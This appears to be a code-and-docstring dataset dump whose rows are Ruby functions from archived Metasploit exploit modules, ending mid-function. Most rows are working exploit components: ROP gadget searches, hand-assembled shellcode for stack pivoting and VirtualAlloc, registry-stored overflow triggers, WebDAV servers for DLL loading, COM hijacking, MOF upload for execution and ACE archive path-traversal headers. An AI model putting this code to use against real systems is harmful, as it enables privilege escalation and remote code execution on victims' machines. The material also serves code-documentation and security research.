code
stringlengths 26
124k
| docstring
stringlengths 23
125k
| func_name
stringlengths 1
98
| language
stringclasses 1
value | repo
stringlengths 5
53
| path
stringlengths 7
151
| url
stringlengths 50
211
| license
stringclasses 7
values |
---|---|---|---|---|---|---|---|
def search_gadgets
ntdll_text_base = 0x10000
search_length = 0xd6000
@gadgets['mov [edi], ecx # ret'] = search_gadget(@addresses['ntdll.dll'], ntdll_text_base, search_length, "\x89\x0f\xc3")
if @gadgets['mov [edi], ecx # ret'].nil?
fail_with(Exploit::Failure::Unknown, "Unable to find gadget 'mov [edi], ecx # ret'")
end
@gadgets['mov [edi], ecx # ret'] += @addresses['ntdll.dll']
@gadgets['mov [edi], ecx # ret'] += ntdll_text_base
vprint_good("Gadget 'mov [edi], ecx # ret' found at 0x#{@gadgets['mov [edi], ecx # ret'].to_s(16)}")
@gadgets['ret'] = @gadgets['mov [edi], ecx # ret'] + 2
vprint_good("Gadget 'ret' found at 0x#{@gadgets['ret'].to_s(16)}")
@gadgets['pop edi # ret'] = search_gadget(@addresses['ntdll.dll'], ntdll_text_base, search_length, "\x5f\xc3")
if @gadgets['pop edi # ret'].nil?
fail_with(Exploit::Failure::Unknown, "Unable to find gadget 'pop edi # ret'")
end
@gadgets['pop edi # ret'] += @addresses['ntdll.dll']
@gadgets['pop edi # ret'] += ntdll_text_base
vprint_good("Gadget 'pop edi # ret' found at 0x#{@gadgets['pop edi # ret'].to_s(16)}")
@gadgets['pop ecx # ret'] = search_gadget(@addresses['ntdll.dll'], ntdll_text_base, search_length, "\x59\xc3")
if @gadgets['pop ecx # ret'].nil?
fail_with(Exploit::Failure::Unknown, "Unable to find gadget 'pop ecx # ret'")
end
@gadgets['pop ecx # ret'] += @addresses['ntdll.dll']
@gadgets['pop ecx # ret'] += ntdll_text_base
vprint_good("Gadget 'pop edi # ret' found at 0x#{@gadgets['pop ecx # ret'].to_s(16)}")
end
|
Search for gadgets on ntdll.dll
|
search_gadgets
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/local/25725.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/25725.rb
|
MIT
|
def store_data_registry(buf)
vprint_status("Creating the Registry Key to store the shellcode...")
if registry_createkey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\shellcode")
vprint_good("Registry Key created")
else
fail_with(Exploit::Failure::Unknown, "Failed to create the Registry Key to store the shellcode")
end
vprint_status("Storing the shellcode in the Registry...")
if registry_setvaldata("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions", "shellcode", payload.encoded, "REG_BINARY")
vprint_good("Shellcode stored")
else
fail_with(Exploit::Failure::Unknown, "Failed to store shellcode in the Registry")
end
# Create the Malicious registry entry in order to exploit....
vprint_status("Creating the Registry Key to trigger the Overflow...")
if registry_createkey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\bDeleteDB")
vprint_good("Registry Key created")
else
fail_with(Exploit::Failure::Unknown, "Failed to create the Registry Entry to trigger the Overflow")
end
vprint_status("Storing the trigger in the Registry...")
if registry_setvaldata("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions", "bDeleteDB", buf, "REG_BINARY")
vprint_good("Trigger stored")
else
fail_with(Exploit::Failure::Unknown, "Failed to store the trigger in the Registry")
end
end
|
Store shellcode and AdobeCollabSync.exe Overflow trigger in the Registry
|
store_data_registry
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/local/25725.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/25725.rb
|
MIT
|
def fix_stack
pivot = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18] # get teb
pivot << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit
pivot << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit
pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
return pivot
end
|
Restore the stack pointer in order to execute the final payload successfully
|
fix_stack
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/local/26708.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/26708.rb
|
MIT
|
def hunter_suffix(payload_length)
# push flProtect (0x40)
suffix = "\xB8\xC0\xFF\xFF\xFF" # mov eax, 0xffffffc0
suffix << "\xF7\xD8" # neg eax
suffix << "\x50" # push eax
# push flAllocationType (0x3000)
suffix << "\x66\x05\xC0\x2F" # add ax, 0x2fc0
suffix << "\x50" # push eax
# push dwSize (0x1000)
suffix << "\x66\x2D\xFF\x1F" # sub ax, 0x1fff
suffix << "\x48" # dec eax
suffix << "\x50" # push eax
# push lpAddress
suffix << "\xB8\x0C\x0C\x0C\x0C" # mov eax, 0x0c0c0c0c
suffix << "\x50" # push eax
# Call VirtualAlloc
suffix << "\xFF\x15" + [target['VirtualAllocPtr']].pack("V") # call ds:VirtualAlloc
# Copy payload (edi) to Allocated memory (eax)
suffix << "\x89\xFE" # mov esi, edi
suffix << "\x89\xC7" # mov edi, eax
suffix << "\x31\xC9" # xor ecx, ecx
suffix << "\x66\x81\xC1" + [payload_length].pack("v") # add cx, payload_length
suffix << "\xF3\xA4" # rep movsb
# Jmp to the final payload (eax)
suffix << "\xFF\xE0" # jmp eax
return suffix
end
|
In the Windows 7 case, in order to bypass ASLR/DEP successfully, after finding
the payload on memory we can't jump there directly, but allocate executable memory
and jump there. Badchars: "\x0a\x0d\x00"
|
hunter_suffix
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/local/26708.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/26708.rb
|
MIT
|
def make_default_h3m
buf = ''
# Set map specifications to 36x36 (0x24000000) map with 2 players, with
# default/no settings for name, description, victory condition etc
buf << "\x0e\x00\x00\x00\x01\x24\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
buf << "\x00\x00\x01\x01\x01\x00\x01\x00\x00\x00\xff\x01\x01\x00\x01\x00"
buf << "\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xff\x00\x00\x00\x00\x8c"
buf << "\x00\x00\xff\x00\x00\x00\x00\xb1\x00\x00\xff\x00\x00\x00\x00\x00"
buf << "\x00\x00\xff\x00\x00\x00\x00\x7f\x00\x00\xff\x00\x00\x00\x00\x48"
buf << "\x00\x00\xff\xff\xff\x00"
buf << "\xFF" * 16
buf << "\x00" * 35
# Each tile is 7 bytes, fill map with empty dirt tiles (0x00)
buf << "\x00" * (36 * 36 * 7)
# Set object attribute array count to 1
buf << "\x01\x00\x00\x00"
# Size of first sprite name, this will be overwritten
buf << "\x12\x34\x56\x78"
# Standard name for first object, which will be searched for
buf << 'AVWmrnd0.def'
buf
end
|
Returns data for a minimimum required S size h3m map containing 2 players
|
make_default_h3m
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/local/37737.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/37737.rb
|
MIT
|
def forge_crc32(data, wanted_crc)
crc32_reverse = [
0x00000000, 0xDB710641, 0x6D930AC3, 0xB6E20C82,
0xDB261586, 0x005713C7, 0xB6B51F45, 0x6DC41904,
0x6D3D2D4D, 0xB64C2B0C, 0x00AE278E, 0xDBDF21CF,
0xB61B38CB, 0x6D6A3E8A, 0xDB883208, 0x00F93449,
0xDA7A5A9A, 0x010B5CDB, 0xB7E95059, 0x6C985618,
0x015C4F1C, 0xDA2D495D, 0x6CCF45DF, 0xB7BE439E,
0xB74777D7, 0x6C367196, 0xDAD47D14, 0x01A57B55,
0x6C616251, 0xB7106410, 0x01F26892, 0xDA836ED3,
0x6F85B375, 0xB4F4B534, 0x0216B9B6, 0xD967BFF7,
0xB4A3A6F3, 0x6FD2A0B2, 0xD930AC30, 0x0241AA71,
0x02B89E38, 0xD9C99879, 0x6F2B94FB, 0xB45A92BA,
0xD99E8BBE, 0x02EF8DFF, 0xB40D817D, 0x6F7C873C,
0xB5FFE9EF, 0x6E8EEFAE, 0xD86CE32C, 0x031DE56D,
0x6ED9FC69, 0xB5A8FA28, 0x034AF6AA, 0xD83BF0EB,
0xD8C2C4A2, 0x03B3C2E3, 0xB551CE61, 0x6E20C820,
0x03E4D124, 0xD895D765, 0x6E77DBE7, 0xB506DDA6,
0xDF0B66EA, 0x047A60AB, 0xB2986C29, 0x69E96A68,
0x042D736C, 0xDF5C752D, 0x69BE79AF, 0xB2CF7FEE,
0xB2364BA7, 0x69474DE6, 0xDFA54164, 0x04D44725,
0x69105E21, 0xB2615860, 0x048354E2, 0xDFF252A3,
0x05713C70, 0xDE003A31, 0x68E236B3, 0xB39330F2,
0xDE5729F6, 0x05262FB7, 0xB3C42335, 0x68B52574,
0x684C113D, 0xB33D177C, 0x05DF1BFE, 0xDEAE1DBF,
0xB36A04BB, 0x681B02FA, 0xDEF90E78, 0x05880839,
0xB08ED59F, 0x6BFFD3DE, 0xDD1DDF5C, 0x066CD91D,
0x6BA8C019, 0xB0D9C658, 0x063BCADA, 0xDD4ACC9B,
0xDDB3F8D2, 0x06C2FE93, 0xB020F211, 0x6B51F450,
0x0695ED54, 0xDDE4EB15, 0x6B06E797, 0xB077E1D6,
0x6AF48F05, 0xB1858944, 0x076785C6, 0xDC168387,
0xB1D29A83, 0x6AA39CC2, 0xDC419040, 0x07309601,
0x07C9A248, 0xDCB8A409, 0x6A5AA88B, 0xB12BAECA,
0xDCEFB7CE, 0x079EB18F, 0xB17CBD0D, 0x6A0DBB4C,
0x6567CB95, 0xBE16CDD4, 0x08F4C156, 0xD385C717,
0xBE41DE13, 0x6530D852, 0xD3D2D4D0, 0x08A3D291,
0x085AE6D8, 0xD32BE099, 0x65C9EC1B, 0xBEB8EA5A,
0xD37CF35E, 0x080DF51F, 0xBEEFF99D, 0x659EFFDC,
0xBF1D910F, 0x646C974E, 0xD28E9BCC, 0x09FF9D8D,
0x643B8489, 0xBF4A82C8, 0x09A88E4A, 0xD2D9880B,
0xD220BC42, 0x0951BA03, 0xBFB3B681, 0x64C2B0C0,
0x0906A9C4, 0xD277AF85, 0x6495A307, 0xBFE4A546,
0x0AE278E0, 0xD1937EA1, 0x67717223, 0xBC007462,
0xD1C46D66, 0x0AB56B27, 0xBC5767A5, 0x672661E4,
0x67DF55AD, 0xBCAE53EC, 0x0A4C5F6E, 0xD13D592F,
0xBCF9402B, 0x6788466A, 0xD16A4AE8, 0x0A1B4CA9,
0xD098227A, 0x0BE9243B, 0xBD0B28B9, 0x667A2EF8,
0x0BBE37FC, 0xD0CF31BD, 0x662D3D3F, 0xBD5C3B7E,
0xBDA50F37, 0x66D40976, 0xD03605F4, 0x0B4703B5,
0x66831AB1, 0xBDF21CF0, 0x0B101072, 0xD0611633,
0xBA6CAD7F, 0x611DAB3E, 0xD7FFA7BC, 0x0C8EA1FD,
0x614AB8F9, 0xBA3BBEB8, 0x0CD9B23A, 0xD7A8B47B,
0xD7518032, 0x0C208673, 0xBAC28AF1, 0x61B38CB0,
0x0C7795B4, 0xD70693F5, 0x61E49F77, 0xBA959936,
0x6016F7E5, 0xBB67F1A4, 0x0D85FD26, 0xD6F4FB67,
0xBB30E263, 0x6041E422, 0xD6A3E8A0, 0x0DD2EEE1,
0x0D2BDAA8, 0xD65ADCE9, 0x60B8D06B, 0xBBC9D62A,
0xD60DCF2E, 0x0D7CC96F, 0xBB9EC5ED, 0x60EFC3AC,
0xD5E91E0A, 0x0E98184B, 0xB87A14C9, 0x630B1288,
0x0ECF0B8C, 0xD5BE0DCD, 0x635C014F, 0xB82D070E,
0xB8D43347, 0x63A53506, 0xD5473984, 0x0E363FC5,
0x63F226C1, 0xB8832080, 0x0E612C02, 0xD5102A43,
0x0F934490, 0xD4E242D1, 0x62004E53, 0xB9714812,
0xD4B55116, 0x0FC45757, 0xB9265BD5, 0x62575D94,
0x62AE69DD, 0xB9DF6F9C, 0x0F3D631E, 0xD44C655F,
0xB9887C5B, 0x62F97A1A, 0xD41B7698, 0x0F6A70D9
]
# forward calculation of CRC up to pos, sets current forward CRC state
fwd_crc = 0xffffffff
data.each_byte do |c|
fwd_crc = (fwd_crc >> 8) ^ Zlib.crc_table[(fwd_crc ^ c) & 0xff]
end
# backward calculation of CRC up to pos, sets wanted backward CRC state
bkd_crc = wanted_crc ^ 0xffffffff
# deduce the 4 bytes we need to insert
[fwd_crc].pack('<L').each_byte.reverse_each do |c|
bkd_crc = ((bkd_crc << 8) & 0xffffffff) ^ crc32_reverse[bkd_crc >> 24] ^ c
end
res = data + [bkd_crc].pack('<L')
res
end
|
Forge crc32 by adding 4 bytes at the end of data
http://blog.stalkr.net/2011/03/crc-32-forging.html
|
forge_crc32
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/local/37737.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/37737.rb
|
MIT
|
def exploit
if datastore['TECHNIQUE'] == 'INSTALLUTIL'
if payload.arch.first == 'x64' && sysinfo['Architecture'] !~ /64/
fail_with(Failure::NoTarget, 'The target platform is x86. 64-bit payloads are not supported.')
end
end
# sysinfo is only on meterpreter sessions
print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?
if datastore['TECHNIQUE'] == 'INSTALLUTIL'
execute_installutil
end
end
|
Run Method for when run command is issued
|
exploit
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/local/39523.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/39523.rb
|
MIT
|
def process_options(cli, request, target)
print_status("Responding to WebDAV \"OPTIONS #{request.uri}\" request")
headers = {
#'DASL' => '<DAV:sql>',
#'DAV' => '1, 2',
'Allow' => 'OPTIONS, GET, PROPFIND',
'Public' => 'OPTIONS, GET, PROPFIND'
}
send_response(cli, '', headers)
end
|
OPTIONS requests sent by the WebDav Mini-Redirector
|
process_options
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/local/41700.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/41700.rb
|
MIT
|
def process_propfind(cli, request, target)
path = request.uri
print_status("Received WebDAV \"PROPFIND #{request.uri}\" request")
body = ''
if (path =~ /\.dll$/i)
# Response for the DLL
print_status("Sending DLL multistatus for #{path} ...")
#<lp1:getcontentlength>45056</lp1:getcontentlength>
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0132-b000-43c6e5f8d2f80"</lp1:getetag>
<lp2:executable>F</lp2:executable>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
# Response for anything else (generally just /)
print_status("Sending directory multistatus for #{path} ...")
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
else
print_status("Sending 404 for #{path} ...")
send_not_found(cli)
return
end
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end
|
PROPFIND requests sent by the WebDav Mini-Redirector
|
process_propfind
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/local/41700.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/41700.rb
|
MIT
|
def exploit
if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
end
super
end
|
Make sure we're on the right port/path to support WebDAV
|
exploit
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/local/41700.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/41700.rb
|
MIT
|
def process_options(cli, request)
print_status("OPTIONS #{request.uri}")
headers = {
'MS-Author-Via' => 'DAV',
'DASL' => '<DAV:sql>',
'DAV' => '1, 2',
'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
'Cache-Control' => 'private'
}
resp = create_response(207, "Multi-Status")
headers.each_pair {|k,v| resp[k] = v }
resp.body = ""
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end
|
OPTIONS requests sent by the WebDav Mini-Redirector
|
process_options
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/local/41711.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/41711.rb
|
MIT
|
def process_propfind(cli, request)
path = request.uri
print_status("PROPFIND #{path}")
body = ''
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
my_uri = "http://#{my_host}/"
if path !~ /\/$/
if blacklisted_path?(path)
print_status "PROPFIND => 404 (#{path})"
resp = create_response(404, "Not Found")
resp.body = ""
cli.send_response(resp)
return
end
if path.index(".")
print_status "PROPFIND => 207 File (#{path})"
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml; charset="utf8"'
cli.send_response(resp)
return
else
print_status "PROPFIND => 301 (#{path})"
resp = create_response(301, "Moved")
resp["Location"] = path + "/"
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
return
end
end
print_status "PROPFIND => 207 Directory (#{path})"
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
if request["Depth"].to_i > 0
trail = path.split("/")
trail.shift
case trail.length
when 0
body << generate_shares(path)
when 1
body << generate_files(path)
end
else
print_status "PROPFIND => 207 Top-Level Directory"
end
body << "</D:multistatus>"
body.gsub!(/\t/, '')
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml; charset="utf8"'
cli.send_response(resp)
end
|
PROPFIND requests sent by the WebDav Mini-Redirector
|
process_propfind
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/local/41711.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/41711.rb
|
MIT
|
def blacklisted_path?(uri)
return true if uri =~ /\.exe/i
return true if uri =~ /\.(config|manifest)/i
return true if uri =~ /desktop\.ini/i
return true if uri =~ /lib.*\.dll/i
return true if uri =~ /\.tmp$/i
return true if uri =~ /(pcap|packet)\.dll/i
false
end
|
This method rejects requests that are known to break exploitation
|
blacklisted_path?
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/local/41711.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/41711.rb
|
MIT
|
def upload_file(remote_filepath, remote_filename, local_filedata = null)
magic_code = "\xdd\xdd"
opcode = [6].pack('L')
# We create the filepath for the upload, for execution it should be \windows\system32\wbem\mof\<file with extension mof!
file = "..\\..\\" << remote_filepath << remote_filename << "\x00"
pkt_size = local_filedata.size() + file.size() + (0x108 - file.size()) + 4
# Magic_code + packing + size
pkt = magic_code << "AAAAAAAAAAAA" << [pkt_size].pack('L')
tmp_pkt = opcode << file
tmp_pkt += "\x00"*(0x108 - tmp_pkt.size) << [local_filedata.size].pack('L') << local_filedata
pkt << tmp_pkt
print_status("Starting upload of file #{remote_filename}")
connect
sock.put(pkt)
disconnect
print_status("File uploaded")
end
|
#
upload_file(remote_filepath, remote_filename, local_filedata)
remote_filepath: Remote filepath where the file will be uploaded
remote_filename: Remote name of the file to be executed ie. boot.ini
local_file: File containing the read data for the local file to be uploaded, actual open/read/close done in exploit()
|
upload_file
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/local/41712.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/41712.rb
|
MIT
|
def store_file(data, filename)
ltype = "exploit.fileformat.#{self.shortname}"
if ! ::File.directory?(Msf::Config.local_directory)
FileUtils.mkdir_p(Msf::Config.local_directory)
end
if filename and not filename.empty?
if filename =~ /(.*)\.(.*)/
ext = $2
fname = $1
else
fname = filename
end
else
fname = "local_#{Time.now.utc.to_i}"
end
fname = ::File.split(fname).last
fname.gsub!(/[^a-z0-9\.\_\-]+/i, '')
fname << ".#{ext}"
path = File.join("#{Msf::Config.local_directory}/", fname)
full_path = ::File.expand_path(path)
File.open(full_path, "wb") { |fd| fd.write(data) }
full_path.dup
end
|
Store the file in the MSF local directory (eg, /root/.msf4/local/)
|
store_file
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/local/42382.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/42382.rb
|
MIT
|
def hijack_com(registry_view, dll_path)
target = @@hijack_points.sample
target_clsid = target[:class_ids].sample
root_key = "#{CLSID_PATH}\\{#{target_clsid}}"
inproc_key = "#{root_key}\\InProcServer32"
shell_key = "#{root_key}\\ShellFolder"
registry_createkey(root_key, registry_view)
registry_createkey(inproc_key, registry_view)
registry_createkey(shell_key, registry_view)
registry_setvaldata(inproc_key, DEFAULT_VAL_NAME, dll_path, 'REG_SZ', registry_view)
registry_setvaldata(inproc_key, 'ThreadingModel', 'Apartment', 'REG_SZ', registry_view)
registry_setvaldata(inproc_key, 'LoadWithoutCOM', '', 'REG_SZ', registry_view)
registry_setvaldata(shell_key, 'HideOnDesktop', '', 'REG_SZ', registry_view)
registry_setvaldata(shell_key, 'Attributes', 0xf090013d, 'REG_DWORD', registry_view)
{
name: target[:name],
cmd_path: target[:cmd_path],
cmd_args: target[:cmd_args],
root_key: root_key
}
end
|
Perform the hijacking of COM class IDS. This function chooses a random
application target and a random class id associated with it before
modifying the registry.
|
hijack_com
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/local/42540.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/42540.rb
|
MIT
|
def crc32(data)
table = Zlib.crc_table
crc = 0xffffffff
data.unpack('C*').each { |b|
crc = table[(crc & 0xff) ^ b] ^ (crc >> 8)
}
-(~crc) - 1
end
|
The CRC implementation used in ACE does not take the last step in calculating CRC32.
That is, it does not flip the bits. Therefore, it can be easily calculated by taking
the negative bitwise OR of the usual CRC and then subtracting one from it. This is due to
the way the bitwise OR works in Ruby: unsigned integers are not a thing in Ruby, so
applying a bitwise OR on an integer will produce its negative + 1.
|
crc32
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/local/46756.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/46756.rb
|
MIT
|
def create_file_header_and_data(path, is_payload, is_custom_payload)
#print_status("Length of #{path}: #{path.length}")
if is_payload and is_custom_payload
file_data = File.binread(path.from(72))
elsif is_payload and !is_custom_payload
file_data = generate_payload_exe
else
file_data = File.binread(File.basename(path))
end
file_data_crc32 = crc32(file_data).to_i
# HEAD_CRC: Lower 2 bytes of CRC32 of the next bytes of header after HEAD_TYPE.
# The bogus value for HEAD_CRC will be replaced later.
file_header = ""
file_header << "AA"
# HEAD_SIZE: file header size.
if is_payload
file_header << [31 + path.length].pack("v")
else
file_header << [31 + ::File.basename(path).length].pack("v")
end
# HEAD_TYPE: header type is 1.
file_header << "\x01"
# HEAD_FLAGS: header flags. \x01\x80 is ADDSIZE|SOLID.
file_header << "\x01\x80"
# PACK_SIZE: size when packed.
file_header << [file_data.length].pack("V")
#print_status("#{file_data.length}")
# ORIG_SIZE: original size. Same as PACK_SIZE since no compression is *truly* taking place.
file_header << [file_data.length].pack("V")
# FTIME: file date and time in MS-DOS format
file_header << "\x63\xB0\x55\x4E"
# ATTR: DOS/Windows file attribute bit field, as int, as produced by the Windows GetFileAttributes() API.
file_header << "\x20\x00\x00\x00"
# CRC32: CRC32 of the compressed file
file_header << [file_data_crc32].pack("V")
# Compression type
file_header << "\x00"
# Compression quality
file_header << "\x03"
# Parameter for decompression
file_header << "\x0A\x00"
# RESERVED1
file_header << "\x54\x45"
# FNAME_SIZE: size of filename string
if is_payload
file_header << [path.length].pack("v")
else
# print_status("#{::File.basename(path).length}")
file_header << [::File.basename(path).length].pack("v")
end
#file_header << [path.length].pack("v")
# FNAME: filename string. Empty for now. Fill in later.
if is_payload
file_header << path
else
file_header << ::File.basename(path)
end
#print_status("Calculating other_file_header...")
file_header_crc32 = crc32(file_header[4, file_header.length]).to_s(16)
file_header_crc16 = file_header_crc32.last(4).to_i(base=16)
file_header[0,2] = [file_header_crc16].pack("v")
file_header << file_data
end
|
create file headers for each file to put into the output ACE file
|
create_file_header_and_data
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/local/46756.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/local/46756.rb
|
MIT
|
def make_tcpmsghdr(data)
len = data.length
# The server doesn't like packets that are bigger...
raise RuntimeError, 'Length too big' if (len > 0x1000)
len /= 8
# Pack the pieces in ...
pkt = [
1,0,0,0, # rep, ver, verMinor, pad
0xb00bface, # session id (nice)
data.length + 16, # msg len
0x20534d4d, # seal ("MMS ")
len + 2, # chunkCount
@pkts, 0, # seq, MBZ
rand(0xffffffff),rand(0xffffffff) # timeSent -- w/e
].pack('CCCCVVVVvvVV')
# Add the data
pkt << data
# Pad it to 8 bytes...
left = data.length % 8
pkt << ("\x00" * (8 - left)) if (left > 0)
pkt
end
|
Create a TcpMessageHeader from the supplied data
|
make_tcpmsghdr
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/16333.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/16333.rb
|
MIT
|
def fprint
ret = [Exploit::CheckCode::Safe, '', '', '']
req = "\x00\x00\x00\x29\x00\x00\x78\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x40\x00\x02\x00\x05"+
"\x00\x00\x00\x00\x60\x56\x02\x01\x00\x1F\x6E\x03"+
"\x00\x1F\x6E\x03\x08\xFE\x66\x03\x00"
connect
sock.put(req)
data = sock.get_once
return ret if not data
ptrs = [ data[16,4].unpack('N')[0] ].concat( data[32,12].unpack('VVV') )
print_status(sprintf("WINS Fingerprint: [0x%.8x] 0x%.8x 0x%.8x 0x%.8x", *ptrs))
os = '2000'
sp = '?'
vi = false
# Check for Windows 2000 systems
case ptrs[3]
when 0x77f8ae78
sp = '0'
when 0x77f81f70
sp = '1'
when 0x77f82680
sp = '2'
when 0x77f83608
sp = '3'
when 0x77f89640
sp = '4'
when 0x77f82518
sp = '5'
when 0x77f81648 # Contributed by grutz[at]jingojango.net
sp = '3/4'
end
